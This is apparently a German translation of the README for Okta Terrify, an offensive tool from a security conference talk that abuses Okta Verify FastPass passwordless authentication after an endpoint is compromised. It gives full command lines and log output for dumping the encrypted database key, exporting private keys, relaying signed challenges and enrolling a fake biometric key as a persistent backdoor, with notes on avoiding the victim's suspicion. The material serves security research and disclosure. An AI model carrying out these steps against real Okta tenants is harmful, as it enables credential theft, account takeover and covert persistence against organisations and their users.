Dieses Tool wurde im Rahmen meines BSides Cymru 2024-Vortrags Okta Terrify: Persistence in a Passwordless World veröffentlicht. Das Präsentationsdeck und das Demonstrationsvideo wurden diesem Repository beigefügt.
Okta Terrify ist ein Tool, das demonstriert, wie passwortlose Lösungen wie FastPass von Okta Verify oder andere Lösungen vom Typ FIDO2/WebAuthn missbraucht werden können, sobald ein Authentifizierungsendpunkt kompromittiert wurde. Während Okta Terrify Okta-spezifische Angriffe demonstriert, gilt die gleiche Methodik normalerweise auch für andere passwortlose Lösungen, da sie im Allgemeinen alle asymmetrische Kryptografie nutzen.
Die passwortlose Authentifizierung funktioniert über öffentliche/private Schlüsselpaare. Normalerweise werden bei der Registrierung des Authentifikators zwei Arten von Schlüsseln generiert: Proof Of Possession
und User Verification
. Zusammen erfüllen beide Schlüssel das Multifaktor-Authentifizierungselement, das Unternehmen im Rahmen ihrer laufenden Bemühungen zum Schutz ihrer Benutzer anstreben.
Der Schlüssel zum Nachweis des Besitzes dient genau dazu, die Anwesenheit eines bestimmten Authentifikators und/oder Benutzers während der Authentifizierung nachzuweisen. Im Fall von Okta wird der Besitznachweisschlüssel verwendet, um die Anwesenheit sowohl des Authentifikators als auch des Benutzers zu bestimmen, da in Mehrbenutzerszenarien für jeden Benutzer eindeutige Besitznachweisschlüssel generiert werden. Der Besitznachweisschlüssel ist in der Regel ein stiller Schlüssel, der keine biometrischen Daten erfordert, um seine Nutzung über die des Betriebssystems selbst hinaus, wie etwa eine authentifizierte Windows-Benutzersitzung, zu entsperren. Sofern verfügbar, wird dieser Schlüssel durch ein TPM gesichert und kann daher nicht vom Gerät exportiert werden. Wenn kein TPM verfügbar ist, wird dieser Schlüssel als reiner Softwareschlüssel generiert.
Der Benutzerverifizierungsschlüssel stellt ebenfalls einen Besitznachweis dar, verifiziert aber zusätzlich, dass der Benutzer tatsächlich weiß, dass eine Authentifizierung stattfindet. Dies wird durch biometrische Daten erreicht, häufig ein Fingerabdruck oder eine Gesichtserkennung, wird aber auch durch eine PIN gesichert. Auf Windows-basierten Geräten wird dies normalerweise mithilfe von Windows Hello implementiert. Ohne korrekte Bereitstellung der biometrischen Daten ist der Unterzeichnungsvorgang nicht möglich. Einige passwortlose Lösungen verwenden nur den Benutzerverifizierungsschlüssel, um beide Faktoren zu erfüllen. Der Nachteil dieses Ansatzes besteht darin, dass für jeden Signiervorgang biometrische Daten des Benutzers erforderlich sind. Im Beispiel von Okta kann der Besitznachweisschlüssel als eindeutiger Faktor bei der Authentifizierung zusammen mit einem separaten Faktor wie dem Benutzerkennwort verwendet werden. Auch hier wird dieser Schlüssel entweder durch ein TPM unterstützt, wenn er verfügbar ist, oder in der Software generiert, wenn nicht.
Ok, genug von diesem Hintergrund zum Thema „Passwortlos“, kommen wir zu den guten Dingen. Während auf allen unterstützten Okta Verify-Geräten die gleichen Konzepte gelten, werden wir von hier an die Funktionsweise der Windows-Version von Okta Verify besprechen.
Okta speichert Authentifizierungsinformationen in einer verschlüsselten SQLite-Datenbank. Es gibt zwei verschiedene Datenbankversionen: die Legacy-Version, die in einer Datei namens OVStore.db
gespeichert ist und die SID des Benutzers als Grundlage für den Verschlüsselungsschlüssel verwendet, der über einen benutzerdefinierten XOR-Algorithmus weitergeleitet wird, und einen festen Schlüssel. Die neuere Version heißt DataStore.db
und verwendet einen Zufallswert, der im Credential Manager gespeichert wird. Diese Anmeldeinformationen werden durch einen ähnlichen XOR-Algorithmus wie das Legacy-Format weitergeleitet. Die Datenbank wird unter %LocalAppData%OktaOktaVerify
gespeichert. Die Datenbank enthält die generierten Schlüssel-IDs sowohl für den Besitznachweis als auch für den Benutzerverifizierungsschlüssel, die während der Geräteregistrierung generiert werden. Die Datenbank enthält auch andere nützliche Metadaten, wie Geräte-, Benutzer- und Authentifikator-IDs sowie die Okta-Mandanten-URL für die registrierten Konten.
Okta Terrify ist in zwei verschiedene Komponenten unterteilt. Okta Terrify und OktaInk.
Okta Terrify ist für die Ausführung auf dem Computer des Angreifers konzipiert. Das Tool erfordert die SID des Benutzers und eine Datenbankdatei im alten Datenbankformat und für das neuere Format den Datenbankschlüssel. Für das neuere Format kann der Datenbankschlüssel mit OktaInk generiert werden. Okta Terrify verfügt über 4 Betriebsmodi, die über verschiedene Schalter gesteuert werden.
Der Modus --info
gibt einfach die in der Datenbank enthaltenen Informationen aus.
Legacy-Datenbank
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Neuere Datenbank
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Im --backdoor
Modus startet Okta Terrify die Okta-URL des Mandanten mit der OAuth-Client-ID, die die offizielle Okta Verify-Anwendung bei der Registrierung verwendet. Dadurch wird normalerweise der Authentifizierungsfluss ausgelöst und der Signaturmodus ist in dieser Phase aktiv. Sobald eine authentifizierte Sitzung erstellt wurde, wird auf dem angreifenden Gerät ein neuer Benutzerverifizierungsschlüssel generiert und als gefälschter biometrischer Schlüssel registriert. Sobald der Schlüssel registriert ist, arbeitet FastPass in einem passwortlosen Zustand ohne Abhängigkeiten vom ursprünglich kompromittierten Authentifizierungsgerät.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
Im Modus --sign
werden Herausforderungen während der Okta-Authentifizierung entweder lokal durch herausgefilterte Schlüssel signiert oder sie können an OktaInk weitergeleitet werden, das auf einem kompromittierten Authentifikator ausgeführt wird, wenn hardwaregestützte Schlüssel vorhanden sind.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
Der Modus --import
speichert softwaredefinierte Besitznachweise und Benutzerverifizierungsschlüssel, die mit Okta Ink extrahiert wurden.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink ist für die Ausführung auf dem kompromittierten Authentifizierungsgerät konzipiert. Die Anwendung unterstützt 4 Arten von Operationen.
Für das neuere Datenbankformat kann die --operation DumpDBKey
verwendet werden, um den Datenbankschlüssel für die Datei DataStore.db
auszugeben. Der Schlüssel kann dann als Parameter für OkaInk verwendet werden.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Während des Okta-Authentifizierungsablaufs wird ein Challenge-Response-JWT generiert, um zu beweisen, dass entweder der Anwesenheitsnachweis oder der Benutzerverifizierungsschlüssel verfügbar ist. Der Modus --operation SignDeviceBind
kann verwendet werden, um das generierte JWT mit dem Besitznachweisschlüssel zu signieren, der still ist. Wenn Sie eine kennwortlose Authentifizierung durchführen möchten, können Sie auch mit dem Benutzerverifizierungsschlüssel signieren, indem Sie das Argument -v
hinzufügen. WARNUNG – Bei der Anforderung des Benutzerverifizierungsschlüssels muss der Opferbenutzer eine biometrische Validierung durchführen und könnte daher Verdacht erregen.
Okta Verify registriert außerdem einen Gerätenachweisschlüssel, bei dem es sich um einen stillen Schlüssel handelt. Dieser Schlüssel scheint verwendet zu werden, wenn über Web-API-Aufrufe für den Okta-Mandanten Änderungen am registrierten Authentifizierungsgerät vorgenommen werden. Es scheint jedoch, dass die Gerätebescheinigung standardmäßig nicht erzwungen wird und daher keine Signatur erforderlich ist. Unabhängig davon kann dieser Modus über die Argumente --operation SignDeviceAttestation
genutzt werden.
Bei Geräten, die kein TPM unterstützen, kann die Befehlszeile --operation ExportPrivate
verwendet werden, um alle auf dem Gerät registrierten Schlüssel zu exportieren. Besitznachweisschlüssel sind an den DPAPI-Schlüssel des Benutzers gebunden und daher muss das Benutzerkennwort bekannt sein.
Während des Backdoor-Registrierungsprozesses müssen wir sicherstellen, dass die vorhandenen öffentlichen Schlüssel in den Mandanten-Authentifikatordaten erhalten bleiben. --operation ExportPublic
erleichtert dies, indem der öffentliche Schlüssel exportiert wird, der einer bestimmten Schlüssel-ID zugeordnet ist.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....